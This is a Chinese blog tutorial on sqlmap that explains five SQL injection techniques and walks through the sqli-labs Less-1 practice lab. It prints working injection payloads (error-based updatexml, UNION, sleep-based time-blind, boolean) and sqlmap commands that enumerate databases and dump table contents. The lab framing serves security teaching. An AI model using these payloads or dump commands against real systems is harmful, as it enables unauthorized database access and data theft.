SQL注入漏洞扫描之sqlmap详解

 更新时间:2025年01月25日 11:22:44   作者:司越越  
SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入

what

SQLMap是一款先进的自动执行SQL注入的审计工具。当给定一个URL时,SQLMap会执行以下操作:

  1. 判断可注入的参数。
  2. 判断可以用哪种SQL注入技术来注入。
  3. 识别出目标使用哪种数据库。
  4. 根据用户的选择,读取哪些数据库中的数据。

更详细语法请参考官方手册---用法 | sqlmap 用户手册 (highlight.ink)

支持类型

sqlmap 可用于检测利用五种不同类型的 SQL 注入。

  • 布尔型盲注(Boolean-based blind):sqlmap 会替换或添加 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的 SELECT 子查询,也可以是任意用于获取输出数据的 SQL 语句。针对每个注入检测的 HTTP 响应,sqlmap 通过对比原始请求响应的 headers/body,从而逐个字符地推导出注入语句的输出。或者,用户可以预先提供一个字符串或正则表达式,用于对正确页面结果进行匹配。sqlmap 内部实现了二分算法,使得输出中的每一个字符可在最多 7 个 HTTP 请求内被获取。如果请求响应结果不是简单的明文字符集,sqlmap 会采取更大范围的算法来检测输出。
  • 时间型盲注(Time-based blind):sqlmap 会替换或者添加相关的 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的、用于使后端 DBMS(Database Management System,数据库管理系统)延迟几秒响应的查询。针对每一个注入检测的 HTTP 响应,通过对 HTTP 响应时间与原始请求之间进行比较,从而逐个字符地推导出注入语句的输出。正如基于布尔型盲注的技术一样,二分算法也会被应用。
  • 报错型注入(Error-based):sqlmap 会替换或者添加用于引发特定数据库错误的 SQL 语句到查询参数里面,并通过解析对应的注入结果,判断特定的数据库错误信息是否存在响应的 headers/body 中。这项技术只有在 Web 应用配置开启后端 DBMS 错误信息提醒才有效。
  • 联合查询注入(UNION query-based):sqlmap 会在查询参数中添加以 UNION ALL SELECT 开头的合法 SQL 语句。当 Web 应用在 for 循环中直接传递 SELECT 语句的查询结果,或采用了类似的方法将查询结果在页面中逐行输出时,这项技术会生效。当查询结果不使用 for 循环进行全部输出而只输出首个结果,sqlmap 还能够利用偏(单入口)联合查询 SQL 注入漏洞。
  • 堆叠查询注入(Stacked queries),也被称为捎带查询注入(piggy backing):sqlmap 会测试 Web 应用是否支持堆叠查询,如果支持,则在 HTTP 请求的查询参数中添加一个分号(;),并在后面加上注入的 SQL 语句。这项技术不仅适用于执行 SELECT 语句,同样适用于执行数据定义或者数据操作等 SQL 语句,同时可能可以获取到文件系统的读写权限和系统命令执行权限,不过这很大程度上取决于底层 DBMS 和当前会话用户的权限。

how---less-1为例

sqlmap在kali中自动集成,若要在Windows中使用需要python2.x版本

1.检测网站是否存在sql注入漏洞的注入点

sqlmap -u "http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1"(id为)

---最好有个""

(-u 前提是检测参数为GET参数)

结果显示参数id是注入点,有存在多个sql注入漏洞,分别是布尔盲注、错误注入、时间盲注、union联合注入

并且返回了该网站基于的数据库类型

我们来验证一下---

错误注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

union联合注入

?id=100000' union select 1,2,3 --+

时间盲注

id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+

布尔盲注

id=1' and substr(database(),1,1)='s'--+

2.列举可用数据库

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 --dbs

3.列举数据库中的数据表

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 -D security --tables

4.列举数据表中的字段

?id=1 -D security -T emails --columns

5.输出目标字段的具体内容

?id=1 -D security -T emails -C email_id --dump

注:若字段数不多,4与5可以合并成 ?id=1 -D security -T emails -dump

效果就是列举该表下的所有字段以及字段的内容,以及对应关系 观察更方便

若字段内容的多少可以用--count查看

若想查看指定行数的字段内容可以 --start(起始条数) --stop(终止条数)

?id=1 -D security -T emails --start 2 --stop 3 --dump

总结

以上为个人经验,希望能给大家一个参考,也希望大家多多支持脚本之家。

相关文章

  • 如何用DeepSeek获取数据库中的表信息(表名和字段名称)

    如何用DeepSeek获取数据库中的表信息(表名和字段名称)

    这篇文章主要介绍了如何利用DeepSeek模型结合数据库查询,自动生成表结构信息,通过自然语言描述,让DeepSeek自动生成对应的SQL查询,从而实现对数据库结构的智能化探索,需要的朋友可以参考下
    2025-02-02
  • 六大主流数据同步工具对比:DataX、Airbyte、Canal、Debezium、Fivetran 与 Apache SeaTunnel

    六大主流数据同步工具对比:DataX、Airbyte、Canal、Debezium、Fivetran 与&nb

    这篇文章主要介绍了六大主流数据同步工具对比:DataX、Airbyte、Canal、Debezium、Fivetran 与 Apache SeaTunnel的相关资料,需要的朋友可以参考下
    2026-02-02
  • sql 中将日期中分秒化为零的语句

    sql 中将日期中分秒化为零的语句

    用到了sql中的convert函数将日期中的分秒转换为零
    2008-10-10
  • Navicat 导出导入数据库的实现方法

    Navicat 导出导入数据库的实现方法

    这篇文章主要介绍了Navicat 导出导入数据库的实现方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-11-11
  • 前端数据库IndexedDB基础使用的方法步骤

    前端数据库IndexedDB基础使用的方法步骤

    IndexedDB是一种在浏览器端存储数据的方式,既然称之为DB,是因为它丰富了客户端的查询方式,并且因为是本地存储,可以有效的减少网络对页面数据的影响,这篇文章主要介绍了前端数据库IndexedDB 基础使用的方法步骤,需要的朋友可以参考下
    2025-07-07
  • DBeaver每次连接提示下载驱动问题的解决方案

    DBeaver每次连接提示下载驱动问题的解决方案

    在使用DBeaver时,如果遇到每次连接都提示需要下载连接驱动的问题,这篇文章主要介绍了DBeaver每次连接提示下载驱动问题的解决方案,文中通过图文介绍的非常详细,需要的朋友可以参考下
    2025-02-02
  • 深入SQL中PIVOT 行列转换详解

    深入SQL中PIVOT 行列转换详解

    T-SQL语句中,Pivot运算符用于在列和行之间对数据进行旋转或透视转换,PIVOT命令可以实现数据表的列转行,同时执行聚合运算,UNPIVOT则与其相反,实现数据的行转列。
    2015-10-10
  • 在windows系统下如何安装memcached的讲解

    在windows系统下如何安装memcached的讲解

    今天小编就为大家分享一篇关于在windows系统下如何安装memcached的讲解,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
    2019-03-03
  • PL/SQL 循环、自定义函数以及存储过程实例详解

    PL/SQL 循环、自定义函数以及存储过程实例详解

    文章主要介绍了PL/SQL的核心内容,包括循环结构(FOR、WHILE循环及控制语句)、自定义函数和存储过程,详细解释了各自的特点、应用场景和示例,并对比了函数和存储过程的区别,特别是强调了Oracle存储过程中的IS/AS关键字的必要性
    2026-05-05
  • SQL select distinct的使用方法

    SQL select distinct的使用方法

    这篇文章主要介绍了SQL中distinct的用法 ,需要的朋友可以参考下
    2015-11-11

最新评论